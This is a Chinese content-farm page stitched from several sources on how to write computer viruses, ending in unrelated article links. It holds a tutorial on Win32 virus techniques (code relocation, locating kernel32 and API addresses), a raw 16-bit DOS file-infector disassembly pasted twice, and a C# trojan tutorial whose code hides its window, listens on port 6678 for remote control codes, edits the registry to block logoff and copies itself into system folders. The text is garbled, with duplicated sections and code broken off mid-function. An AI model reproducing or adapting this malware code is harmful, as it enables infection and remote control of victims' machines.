病毒程序是怎么写的

1. 病毒程序是怎么制作的

计算机病毒的特征是传播性,非授权性,隐藏性,潜伏性,破坏性复,不可预见性,可触发性。

计算机病毒根据感染方式可以分为感染可执行文件的病制毒,感染引导区的病毒,感染文档文件的病毒。

现阶段的反病毒技术有特征码扫描,启发式扫描,虚拟机技术,主动防御技术,自免疫技术,云杀毒等等。

一个简单病毒的模块包含,触发模块,传播模块,表现模块。

学习计算机病毒,要了解知硬盘结构,计道算机扇区结构,计算机系统启动过程,文件系统,计算机引导过程。

汇编语言和C语言用的会比较多。

现阶段也有一些简单病毒制造机,此类软件可以在网上找到。

2. 如何写一个简单的病毒程序

前些天学病毒这门技术着实吃了很多苦头,走了很多弯路,尽管按我的知识水平,病毒已经是水到渠成的学习内容了。

但是我现在学了入门才发现这门技术实际上隐藏着很多玄机,包含着许多技术,不专门学习研究根本无法达到“牛”的境界上去。如今写了这篇文章,介绍的都是相当实用的东西,可以让你少走许多弯路(有时侯一个错误够你找几个小时的)。

不过需要些基础知识才能看懂。假如你有天知识储备够了,不学学病毒将是你的遗憾。

另,由于是写给协会会员参考的,也没写的多“专业”,多了些赘述。 在你看之前,你应该知道这只是篇可以带你入门的文章,如果你已经会了就不用看了。

看的时候最好准备个PE表在旁边。写病毒程序可以使用很多种语言来写比如C,汇编,甚至有人用Dephi这样可视化编程工具都能写出来。

但是最适合写病毒程序的还是汇编语言。汇编语言底层,灵活,速度快,体积小的优势能将一个病毒程序发挥到极至,通常一个程序写出来才几千字节就包含了所有的功能。

一般一个病毒都有如下几个功能:一 代码重定位 二 自己找到所需API地址 三 搜索文件、目录 四 感染文件 五 破坏系统或文件(随便你了) 其中一,二项功能是必要的,五项功能是可选的。而一个病毒程序感染文件的功能是它的核心,是衡量它质量的重要标准。

(一)代码的重定位 一个变量或函数其实是一个内存地址,在编译好后,程序中的指令通过变量或函数的内存地址再去存取他们,这个地址是个绝对地址。如果你将代码插入到其他任何地方,再通过原来编译时产生的地址去找他们就找不到了,因为他们已经搬家了。

但是,你在写程序时考虑到这个问题,你就可以在代码最开始,放上几行代码取得程序基地址,以后变量和函数作为偏移地址,显式的加上这个基地址就能顺利找到了,这就是重定位。就象这段代码。

Call getbaseaddress Getbaseaddress:pop ebx Sub ebx,offset getbaseaddress Mov eax,dword ptr [ebx+Var1] 如果你使用宏汇编语言写病毒,请尽量使用ebx做基地址指针,不要使用ebp,因为ebp在调用带参数的函数时会改变。(二)自己取得所需的API地址 一个win32程序文件,所调用的API函数地址,是由系统填入到程序文件中描述各类数据位置的数据结构中的。

而病毒作为一个残废是享受不到这个待遇的。因为你在把病毒的代码插入目标程序时没有把这些描述数据存放位置的数据结构信息也弄进去。

它被插入到其他目标程序后就成了只有代码的残废儿童:(所以作为一个残废儿童,应当自力更生。自己搜寻自己需要的API地址。

目标程序文件就包含了我们需要的东西,我们需要自己去找。目标程序文件只要还是win32程序,它的地址空间中就包含的有Kernel32.dll。

如果找到了它,我们就能找到其他任何的东东。第一步,搜寻kernel32.dll的基地址。

当然了,整个地址空间有4GB,可供搜索的用户进程空间也有2GB。在2GB中搜索,太吓人了。

总不能在执行被感染的目标程序时,先让用户喝杯茶吧?或者斗斗地主?这里有两个技巧向大家介绍。在程序被加载后,加载程序会调用程序的主线程的第一条指令的位置。

它使用的指令是CALL,就是说,你程序还没执行,堆栈区里就有了一个返回地址了,这个返回地址指向的是加载程序,而加载程序是包含在KERNEL32.dll中的,我们顺着它向上找,就能找到kernel32.dll的基地址了。当然也不是一个字节一个字节的挨者找,而是一个页面一个页面地找。

因为win32下,代码或数据的开始位置总是页面单位(windows平台下为4kb)对齐的。Kernel32.dll是一个PE文件,我们按比较PE文件dos签名标志和PE签名标志的方法找。

另外还有个办法是通过SHE技术找。这是最好的办法了,前一个办法因为堆栈是动态的原因不稳定,一般只能将获取地址的代码块放在最开头,这个方法完全是与堆栈无关的,放在哪里执行都不会出错,如果你的病毒需要用一些远程线程之类的技术,最好用这个方法。

SHE结构,第一个成员指向下一个SEH结构,如果是最后一个那么它的值就是0ffffffffh。第二个成员指向异常处理函数,如果是最后一个SHE结构且没有指定的话,缺省的是SetUnhandlederExceptionFilter函数地址。

当异常触发这个函数时就会弹出一个对话框,问你发不发送错误。98下显示蓝屏。

这个函数是包含在KERNEL32.dll中的,只要取得它的地址向上找就能找到KERNEL32.dll的基地址了。在说SHE时总忘不了TEB,TEB是创建一个线程时分配的线程相关的数据结构,SHE只是它开头第一个数据结构体而已。

它还包含了其他许多重要的东西,TEB由FS段选择器指向,有兴趣的查查资料,这里篇幅原因就不再多说了。接着上面的,看看如何找SetUnhanderExceptionFilter函数地址。

先根据“下一个”SHE结构的值定位到最后一个SHE结构,这时取出she处理函数的地址,就是SetUnHandleredEceptionFilter函数地址了,以页面为单位向上找就可以找到Kernel32.dll了/ 得到Kernel32.dll的基地址后,定位到它的导出表,找出GetProcAddress地址再利用GetProcAddress就能找到其他任何所需要的函数了。在搜索API时应该注意API的名。

3. 第一个写出病毒程序的人是

电脑病毒的起源 你可知道,电脑病毒的概念来自一场游戏? 电脑病毒的概念其实源起相当早,在第一部商用电脑出现之前好几年时,电脑的先驱者冯·诺伊曼(John Von Neumann)在他的一篇论文《复杂自动装置的理论及组识的进行》里,已经勾勒出病毒程序的蓝图。

不过在当时,绝大部分的电脑专家都无法想像会有这种能自我繁殖的程序。 1975年,美国科普作家约翰·布鲁勒尔(John Brunner)写了一本名为《震荡波骑士》(Shock Wave Rider)的书,该书第一次描写了在信息社会中,计算机作为正义和邪恶双方斗争的工具的故事,成为当年最佳畅销书之一。

1977年夏天,托马斯·捷·瑞安(Thomas.J.Ryan)的科幻小说《P-1的春天》(The Adolescence of P-1)成为美国的畅销书,作者在这本书中描写了一种可以在计算机中互相传染的病毒,病毒最后控制了 7,000 台计算机,造成了一场灾难。 虚拟科幻小说世界中的东西,在几年后终于逐渐开始成为电脑使用者的噩梦。

而差不多在同一时间,美国著名的AT&T贝尔实验室中,三个年轻人在工作之余,很无聊的玩起一种游戏:彼此撰写出能够吃掉别人程序的程序来互相作战。这个叫做"磁芯大战"(core war)的游戏,进一步将电脑病毒"感染性"的概念体现出来。

1983年11月3日,一位南加州大学的学生弗雷德·科恩(Fred Cohen)在UNIX系统下,写了一个会引起系统死机的程序,但是这个程序并未引起一些教授的注意与认同。科恩为了证明其理论而将这些程序以论文发表,在当时引起了不小的震撼。

科恩的程序,让电脑病毒具备破坏性的概念具体成形。 不过,这种具备感染与破坏性的程序被真正称之为"病毒",则是在两年后的一本《科学美国人》的月刊中。

一位叫作杜特尼(A.K.Dewdney)的专栏作家在讨论"磁芯大战"与苹果二型电脑(别怀疑,当时流行的正是苹果二型电脑,在那个时侯,我们熟悉的PC根本还不见踪影)时,开始把这种程序称之为病毒。从此以后我们对于这种具备感染或破坏性的程序,终于有一个"病毒"的名字可以称呼了。

第一个真正的电脑病毒 到了1987年,第一个电脑病毒C-BRAIN终于诞生了(这似乎不是一件值得庆贺的事)。一般而言,业界都公认这是真正具备完整特征的电脑病毒始祖。

这个病毒程序是由一对巴基斯坦兄弟:巴斯特(Basit)和阿姆捷特(Amjad)所写的,他们在当地经营一家贩卖个人电脑的商店,由于当地盗拷软件的风气非常盛行,因此他们的目的主要是为了防止他们的软件被任意盗拷。只要有人盗拷他们的软件,C-BRAIN就会发作,将盗拷者的硬盘剩余空间给吃掉。

这个病毒在当时并没有太大的杀伤力,但后来一些有心人士以C-BRAIN为蓝图,制作出一些变形的病毒。而其他新的病毒创作,也纷纷出笼,不仅有个人创作,甚至出现不少创作集团(如NuKE,Phalcon/Skism,VDV)。

各类扫毒、防毒与杀毒软件以及专业公司也纷纷出现。一时间,各种病毒创作与反病毒程序,不断推陈出新,如同百家争鸣。

DOS时代的著名病毒 所谓"DOS时代的病毒",意思是说这是从DOS时代就有的老古董,诸位读者可别以为您现在已经进入Windows 95/98的年代,就不会感染DOS时期的病毒。其实由于Windows 95/98充其量不过是一套架构在DOS上的操作系统,因此即使是处在Windows 95/98之下,一不小心还是会惹火上身的! 本新闻共3页,当前在第1页 1 2 3 耶路撒冷(Jerusalem) 这个古董级病毒其实有个更广为人知的别称,叫做"黑色星期五"。

为什么会有这么有趣的别称?道理很简单:因为只要每逢十三号又是星期五的日子,这个病毒就会发作。而发作时将会终止所有使用者所执行的程序,症状相当凶狠。

米开朗基罗(Michelangelo) 米开朗基罗的名字,对于一些早一点的电脑使用者而言,真可说是大名鼎鼎,如雷贯耳。著名的原因除了它拥有一代艺术大师米开朗基罗的名字之外,更重要的是它的杀伤力惊人:每年到了3月6日米开朗基罗生日(这也就是它为什么叫做"米开朗基罗"的原因)时,这个病毒就会以Format硬盘来为这位大师祝寿。

于是乎,你辛苦建立的所有资料都毁于一旦,永无翻身之日。 猴子(Monkey) Monkey据说是第一个"引导型"的病毒,只要你使用被Monkey感染过的系统软盘开机,病毒就会入侵到你的电脑中,然后伺机移走硬盘的分区表,让你一开机就会出现"Invalid drive specification"的信息。

比起"文件型"病毒只有执行过受感染文件才会中毒的途径而言,Monkey的确是更为难缠了。 音乐虫病毒(Music Bug) 这个发作时会大声唱歌,甚至造成资料流失、无法开机的病毒,正是台湾土产的病毒。

所以,当你听到电脑自动传来一阵阵音乐声时,别以为你的电脑比别人聪明,那很有可能是中毒了。 其实这种会唱歌的病毒也不少,有另一个著名的病毒(叫什么名字倒忘了)发作时还会高唱着"两只老虎"呢! DOS时期的病毒,种类相当繁杂,而且不断有人改写现有的病毒。

到了后期甚至有人写出所谓的"双体引擎",可以把一种病毒创造出更多元化的面貌,让人防不胜防!而病毒发作的症状更是各式各样。

4. 病毒程序如何编写

16位病毒代码JMP 041D MOV CX,F000 MOV AL,00 MOV BX,0180 CMP WORD PTR [BX],CCCC JZ 02B1 INC BX LOOP 02A8 ADD BX,+64 NOP JMP 02B9 JMP 02D9 MOV [FFC0],BX NOP NOP NOP NOP NOP CLD MOV SI,[FFC0] ADD SI,+02 MOV DI,0050 ADD DI,00B0 MOV CX,0005 NOP REPZ MOVSB JMP 02B7 XOR AX,AX MOV DS,AX MOV AX,[0090] MOV CX,[0092] PUSH CS POP DS MOV BX,[FFC0] ADD BX,+2D MOV [BX],AX ADD BX,+02 MOV [BX],CX MOV BX,[FFC0] ADD BX,+2C MOV CX,BX XOR AX,AX MOV DS,AX MOV [0090],CX MOV [0092],CS PUSH CS POP DS JMP 0381 NOP INT 3 INT 3 MOV BX,0464 MOV SP,BX NOP NOP NOP NOP MOV BX,[FFC0] ADD BX,+2D MOV AX,[BX] ADD BX,+02 MOV CX,[BX] PUSH AX XOR AX,AX MOV DS,AX POP AX MOV [0090],AX MOV [0092],CX PUSH CS POP DS JMP 0100 NOP IRET NOP NOP NOP NOP ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI+5C2E],DL SUB CH,[6F63] DB 6D ADD [BX+SI+9090],DL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL NOP MOV BX,[FFC0] ADD BX,+31 CMP WORD PTR [BX],0A00 JNB 0395 MOV AX,[BX] INC AX MOV [BX],AX JMP 03BB MOV DX,03C4 MOV AL,01 OUT DX,AL MOV DX,03C5 IN AL,DX MOV BL,20 OR AL,BL OUT DX,AL JMP 03BB NOP JMP 05E8 MOV AH,40 JMP 04FA MOV AH,40 JMP 0514 MOV AH,40 JMP 0528 JMP 0348 MOV DX,[FFC0] ADD DX,+41 NOP MOV AH,1A INT 21 MOV AH,4E MOV CX,0027 MOV DX,[FFC0] ADD DX,+37 NOP INT 21 JNB 03DB JMP 0319 MOV BX,[FFC0] ADD BX,+5D NOP MOV CX,[BX] JCXZ 03EA JMP 057A SUB BX,+02 MOV AX,[BX] CMP AX,0082 JNB 03F7 JMP 057A CMP AX,EF00 JBE 03FF JMP 057A MOV DX,[FFC0] ADD DX,+5F NOP MOV AX,4300 INT 21 JNB 0411 JMP 0319 MOV BX,[FFC0] ADD BX,+71 NOP MOV [BX],CX JNB 0420 JMP 02A0 MOV AX,4301 MOV CX,0020 INT 21 JNB 0430 JMP 0319 JMP 0520 MOV AX,3D02 INT 21 JNB 043A JMP 0319 PUSH AX JMP 0580 NOP XOR DX,DX MOV AX,4200 INT 21 JNB 044C POP AX JMP 0319 MOV AH,3F MOV CX,0005 MOV DX,[FFC0] ADD DX,+02 NOP INT 21 JNB 0461 POP AX JMP 0319 MOV BX,[FFC0] ADD BX,+05 NOP CMP WORD PTR [BX],CDCD JNZ 0472 JMP 0576 POP BX PUSH BX XOR CX,CX XOR DX,DX MOV AX,4200 INT 21 MOV BX,FE00 MOV BYTE PTR [BX],E9 MOV BX,[FFC0] ADD BX,+5B MOV AX,[BX] INC AX SUB AX,0083 ADD AX,007F MOV BX,FE01 MOV [BX],AX MOV AX,CDCD MOV BX,FE03 MOV [BX],AX MOV AH,40 MOV CX,0005 POP BX PUSH BX MOV DX,FE00 INT 21 JNB 04B2 POP AX JMP 031F XOR CX,CX XOR DX,DX MOV AX,4202 INT 21 MOV BX,FF00 MOV BYTE PTR [BX],E9 MOV BX,[FFC0] ADD BX,+5B MOV AX,[BX] INC AX ADD AX,0018 MOV BX,FF7D SUB BX,AX MOV AX,BX MOV BX,FF01 MOV [BX],AX JMP 04E1 JMP 0466 JMP 061D POP BX PUSH BX XOR CX,CX XOR DX,DX MOV AX,4202 INT 21 MOV DX,[FFC0] SUB DX,+71 NOP MOV CX,0099 JMP 03AA INT 21 JNB 0502 POP CX JMP 0319 XOR CX,CX XOR DX,DX MOV AX,4202 INT 21 MOV DX,FF00 MOV CX,0003 JMP 03AF INT 21 JNB 051C POP CX JMP 0319 XOR CX,CX XOR DX,DX MOV AX,4202 INT 21 JMP 03B4 MOV DX,[FFC0] ADD DX,+2B NOP MOV CX,0265 INT 21 JNB 053B POP CX JMP 0319 POP BX CALL 0542 JMP 0319 MOV AX,5701 MOV CX,[F500] MOV DX,[F502] INT 21 JNB 0552 RET MOV AH,3E INT 21 JNB 055B RET NOP NOP MOV BX,[FFC0] ADD BX,+71 NOP MOV CX,[BX] MOV DX,[FFC0] ADD DX,+5F NOP MOV AX,4301 INT 21 JNB 0575 RET RET POP BX CALL 0542 MOV AH,4F JMP 03C9 NOP PUSH AX MOV BX,AX MOV AX,5700 INT 21 JNB 058D JMP 031A MOV [F500],CX MOV [F502],DX POP BX XOR CX,CX JMP 0440 NOP NOP RET INC DI CMP DI,+3C。

5. 病毒程序如何编写

16位病毒代码JMP 041D MOV CX,F000 MOV AL,00 MOV BX,0180 CMP WORD PTR [BX],CCCC JZ 02B1 INC BX LOOP 02A8 ADD BX,+64 NOP JMP 02B9 JMP 02D9 MOV [FFC0],BX NOP NOP NOP NOP NOP CLD MOV SI,[FFC0] ADD SI,+02 MOV DI,0050 ADD DI,00B0 MOV CX,0005 NOP REPZ MOVSB JMP 02B7 XOR AX,AX MOV DS,AX MOV AX,[0090] MOV CX,[0092] PUSH CS POP DS MOV BX,[FFC0] ADD BX,+2D MOV [BX],AX ADD BX,+02 MOV [BX],CX MOV BX,[FFC0] ADD BX,+2C MOV CX,BX XOR AX,AX MOV DS,AX MOV [0090],CX MOV [0092],CS PUSH CS POP DS JMP 0381 NOP INT 3 INT 3 MOV BX,0464 MOV SP,BX NOP NOP NOP NOP MOV BX,[FFC0] ADD BX,+2D MOV AX,[BX] ADD BX,+02 MOV CX,[BX] PUSH AX XOR AX,AX MOV DS,AX POP AX MOV [0090],AX MOV [0092],CX PUSH CS POP DS JMP 0100 NOP IRET NOP NOP NOP NOP ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI+5C2E],DL SUB CH,[6F63] DB 6D ADD [BX+SI+9090],DL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL ADD [BX+SI],AL NOP MOV BX,[FFC0] ADD BX,+31 CMP WORD PTR [BX],0A00 JNB 0395 MOV AX,[BX] INC AX MOV [BX],AX JMP 03BB MOV DX,03C4 MOV AL,01 OUT DX,AL MOV DX,03C5 IN AL,DX MOV BL,20 OR AL,BL OUT DX,AL JMP 03BB NOP JMP 05E8 MOV AH,40 JMP 04FA MOV AH,40 JMP 0514 MOV AH,40 JMP 0528 JMP 0348 MOV DX,[FFC0] ADD DX,+41 NOP MOV AH,1A INT 21 MOV AH,4E MOV CX,0027 MOV DX,[FFC0] ADD DX,+37 NOP INT 21 JNB 03DB JMP 0319 MOV BX,[FFC0] ADD BX,+5D NOP MOV CX,[BX] JCXZ 03EA JMP 057A SUB BX,+02 MOV AX,[BX] CMP AX,0082 JNB 03F7 JMP 057A CMP AX,EF00 JBE 03FF JMP 057A MOV DX,[FFC0] ADD DX,+5F NOP MOV AX,4300 INT 21 JNB 0411 JMP 0319 MOV BX,[FFC0] ADD BX,+71 NOP MOV [BX],CX JNB 0420 JMP 02A0 MOV AX,4301 MOV CX,0020 INT 21 JNB 0430 JMP 0319 JMP 0520 MOV AX,3D02 INT 21 JNB 043A JMP 0319 PUSH AX JMP 0580 NOP XOR DX,DX MOV AX,4200 INT 21 JNB 044C POP AX JMP 0319 MOV AH,3F MOV CX,0005 MOV DX,[FFC0] ADD DX,+02 NOP INT 21 JNB 0461 POP AX JMP 0319 MOV BX,[FFC0] ADD BX,+05 NOP CMP WORD PTR [BX],CDCD JNZ 0472 JMP 0576 POP BX PUSH BX XOR CX,CX XOR DX,DX MOV AX,4200 INT 21 MOV BX,FE00 MOV BYTE PTR [BX],E9 MOV BX,[FFC0] ADD BX,+5B MOV AX,[BX] INC AX SUB AX,0083 ADD AX,007F MOV BX,FE01 MOV [BX],AX MOV AX,CDCD MOV BX,FE03 MOV [BX],AX MOV AH,40 MOV CX,0005 POP BX PUSH BX MOV DX,FE00 INT 21 JNB 04B2 POP AX JMP 031F XOR CX,CX XOR DX,DX MOV AX,4202 INT 21 MOV BX,FF00 MOV BYTE PTR [BX],E9 MOV BX,[FFC0] ADD BX,+5B MOV AX,[BX] INC AX ADD AX,0018 MOV BX,FF7D SUB BX,AX MOV AX,BX MOV BX,FF01 MOV [BX],AX JMP 04E1 JMP 0466 JMP 061D POP BX PUSH BX XOR CX,CX XOR DX,DX MOV AX,4202 INT 21 MOV DX,[FFC0] SUB DX,+71 NOP MOV CX,0099 JMP 03AA INT 21 JNB 0502 POP CX JMP 0319 XOR CX,CX XOR DX,DX MOV AX,4202 INT 21 MOV DX,FF00 MOV CX,0003 JMP 03AF INT 21 JNB 051C POP CX JMP 0319 XOR CX,CX XOR DX,DX MOV AX,4202 INT 21 JMP 03B4 MOV DX,[FFC0] ADD DX,+2B NOP MOV CX,0265 INT 21 JNB 053B POP CX JMP 0319 POP BX CALL 0542 JMP 0319 MOV AX,5701 MOV CX,[F500] MOV DX,[F502] INT 21 JNB 0552 RET MOV AH,3E INT 21 JNB 055B RET NOP NOP MOV BX,[FFC0] ADD BX,+71 NOP MOV CX,[BX] MOV DX,[FFC0] ADD DX,+5F NOP MOV AX,4301 INT 21 JNB 0575 RET RET POP BX CALL 0542 MOV AH,4F JMP 03C9 NOP PUSH AX MOV BX,AX MOV AX,5700 INT 21 JNB 058D JMP 031A MOV [F500],CX MOV [F502],DX POP BX XOR CX,CX JMP 0440 NOP NOP RET INC DI CMP DI,+3C。

6. C语言后台病毒程序的代码怎么写

要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍: 1、在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。

当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:private void InitializeComponent(){// // Form1// //窗体显示的起点和大小this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);this.ClientSize = new System.Drawing.Size(368, 357);//窗体名称this.Name = "Form1";//设置属性让它后台运行this.ShowInTaskbar = false;this.Text = "Form1";this.WindowState = System.Windows.Forms.FormWindowState.Minimized;} 2、控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:public Form1() //窗体的构造函数{//// Windows 窗体设计器支持所必需的//InitializeComponent();//// TODO: 在 InitializeComponent 调用后添加任何构造函数代码//加入你的侦听代码//端口你可以自已设定,我使用了固定的端口int port =6678;//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的listener = new TcpListener(port);//启动侦听listener.Start();//增加接收控制码的线程,如果要停止线程可以用 Thread.abort()//reControlCode 是线程启动执行的函数,此函数根据接收的控制//控制码选取合适的注册表修改函数Thread thread = new Thread(new ThreadStart(reControlCode));thread.Start();}reControlCode函数如下,完整代码见程序private void reControlCode(){//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求socket = listener.AcceptSocket();//如果连接成功执行while (socket.Connected){//接收控制码byte [] by =new byte[6];int i = socket.Receive(by,by.Length ,0);string ss = System.Text.Encoding.ASCII.GetString(by);//根据控制码执行不同的功能 //修改注册表加入编码switch (ss){case "jiance"://测试连接,返回测试信息string str ="hjc";byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);socket.Send(bytee,0,bytee.Length,0);break;case "zx1000"://修改注册表函数,自已定义,见下面分析 UnLogOff();//返回控制消息retMessage();break;case "zx0100"://修改注册表函数UnClose();//返回控制消息retMessage();break;//重复的case功能与前面一样,略掉default: break;}//case}//while} //private void reControlCode 3、C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。

这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer下面设键值NoLogOff 为 1 即可使计算机无法注销。

在下面的函数中用C#实现对注册表的修改:private void UnLogOff(){//得到主机的注册表的顶级节点Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;//设置一个注册表子键的变量RegistryKey key1;try{//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键//registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改key1 =rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);//设置子键的键名,和值key1.SetValue ("NoLogOff",1);//关闭打开的子键key1.Close();//警告字符串设定mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";}catch{}//如果不存在自已建立if(key1 ==null){try{//使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");key2.SetValue("NoLogOff",1);key2.Close();mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";}catch{}}} 4、在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。

转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C:\\winnnt\\system\\msdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。

这里我们使用了System.IO.File类。private void 。

病毒程序是怎么写的

转载请注明出处育才学习网 » 病毒程序是怎么写的

知识

拆除方案怎么写

阅读(178)

本文主要为您介绍拆除方案怎么写,内容包括房屋拆除施工方案怎么写,拆除专项施工组织设计方案怎样写,拆迁计划与拆迁方案怎么写。原发布者:惠兴数据建设工程拟建项目旧房拆除施工组织设计工程概况(1)工程名称:(2)建设单位:XXX建设单位(3)施工单位:XXX

知识

预期的成果形式怎么写

阅读(3754)

本文主要为您介绍预期的成果形式怎么写,内容包括预期成果怎么写,预期成果形式怎么写呢,论文中的预期成果形式和预期目标怎么写。预期成果指的是自己开始在某个项目之前预想的成果,表达形式可以是一篇论文等,在写的时候可以根据模板往上套就行

知识

营运方案怎么写

阅读(172)

本文主要为您介绍营运方案怎么写,内容包括谁知道产品运营方案怎么写啊,企业经营管理方案怎么写,运营方案怎么写。市场营销策划书撰写大纲 1. 执行概要和要领 商标/定价/重要促销手段/目标市场等。 2. 目前营销状况 (1) 市场状况:目前产品市

知识

英文刷新怎么写

阅读(195)

本文主要为您介绍英文刷新怎么写,内容包括正在刷新的英文怎么写,刷新的英文怎样写,请问“刷新”的英文怎么拼写。跑步的英文是run,run是动词;如果是跑步名词,要加ing,是running。march at the double,按照规定姿势往前

知识

岗位素质怎么写

阅读(188)

本文主要为您介绍岗位素质怎么写,内容包括岗位素质和要求怎么写,个人素质怎么写,个人能力素质怎么写。岗位素质要求是人力资源根据这个岗位的素质标准要求所提供的人员能够胜任这个岗位的最基本条件。不同的岗位素质要求也是不一样的,例如酒

知识

单位工作年限怎么写

阅读(222)

本文主要为您介绍单位工作年限怎么写,内容包括单位工作年限怎么写,工作年限怎么填,事业单位报名里面的工作年限怎么填。工作年限,2001年1月--2008年1月这段写在一个单位工作(在你曾工作的两个单位中选一个较有价值的单位),如果你曾干过的两个工

知识

同学录不熟的怎么写

阅读(227)

本文主要为您介绍同学录不熟的怎么写,内容包括一个不熟的同学的同学录怎样写,一个不熟的同学的同学录怎样写,怎么给不熟的同学写同学录。我常写: 祝你学业进步,步步高上,友谊长存(再加上这么几句英文):Behappyforthatisthemostimportantthi

知识

怎么写置业计划

阅读(175)

本文主要为您介绍怎么写置业计划,内容包括怎样做房地产的计划书,个人规划怎么写,房地产置业规划书怎么写求求各位,我急用在这里先谢了。我看你是想多增加点收入吧,建议你转行做房地产策划。多学习,多交流,增长见识,增加自身的价值,收入自然就高

知识

毕业论文老师的评语怎么写

阅读(260)

本文主要为您介绍毕业论文老师的评语怎么写,内容包括毕业论文指导老师意见怎么写,对论文指导老师评价,教师和答辩老师对毕业论文的评语怎么写,跪求~~。该生的论文比较符合当前的实际,有一定的理论价值和实践意义,但在结构上不够合理,希望进行

知识

2000年的英语怎么写

阅读(382)

本文主要为您介绍2000年的英语怎么写,内容包括2000年英语怎么说2001年呢,1900年用英语怎么说,英语说年份怎么说如1999年、2000年。2000 = two thousand 2001 = two thousand and one或 twenty O one 常规年份读法

知识

对策研究怎么写

阅读(174)

本文主要为您介绍对策研究怎么写,内容包括研究怎么写,课题研究思路怎么写,信息经济发展对策研究论文改怎么写。确定一个主题如果已经有一个明确的主题当然好,而当大脑有一个很模糊的疑问时,这个主题到底是什么可能很难说出来,这时可以采用头脑

知识

读作100怎么写

阅读(212)

本文主要为您介绍读作100怎么写,内容包括100读作怎么写一年级的,100读作什么写作什么,一100读作什么。100读作:一百中国习惯使用十进制读数法,并采用四位分级的法则,即从个位起,每四个计数单位作为一级:个位、十位、百位、千位称为个级;万位

知识

活动讨论怎么写

阅读(182)

本文主要为您介绍活动讨论怎么写,内容包括学习讨论落实活动专题讨论发言提纲怎么写,活动内容怎么写,活动内容如何写。发改委副主任学习讨论落实活动发言提纲 深入开展学习讨论落实活动是落实中央精神、立足当前省情、着眼长远发展的重大决

知识

怎么写市场前景分析

阅读(169)

本文主要为您介绍怎么写市场前景分析,内容包括市场前景分析怎么写,怎么写市场分析,怎么写市场分析。对新产品的市场前景分析,不能叫做“可行性分析”,应该叫作“新产品投放市场效果预估”,如果是未投产的新项目,应该叫作“新项目投产可行性分析

知识

程序英文怎么写

阅读(179)

本文主要为您介绍程序英文怎么写,内容包括应用程序的英文怎么写,解析程序用英文怎么写,(程序)由编写的英文怎么说。software 读音:英 [ˈsɒftweə(r)] 美 [ˈsɔ:ftwer] 释义:n. (名词)软件,计算机软件(指程序、数据信

知识

金字头是怎么写的

阅读(209)

本文主要为您介绍金字头是怎么写的,内容包括金字头怎么写,含有金字头的字,金字头的字。金字头的字只有一个就是鑫,金字旁的字有很多,比如钆、钇、钉、钌、钋、钊、针、钗、钏、钓、钒、钔、钕、钎,等等。汉字解析:鑫拼音:xīn2

知识

40的音标是怎么写

阅读(180)

本文主要为您介绍40的音标是怎么写,内容包括谁知道韩语入门里的40个音标都是怎么写的,40用英语怎么写,英语语法怎样子掌握,40几个音标是那些,怎样快速记忆单词,怎样。元音 发音 写法 举 例 ㅏ a 아 狮子 사자 sa ja ㅑ Ya 야 棒球 야구 ya

知识

程序员怎么写代码

阅读(244)

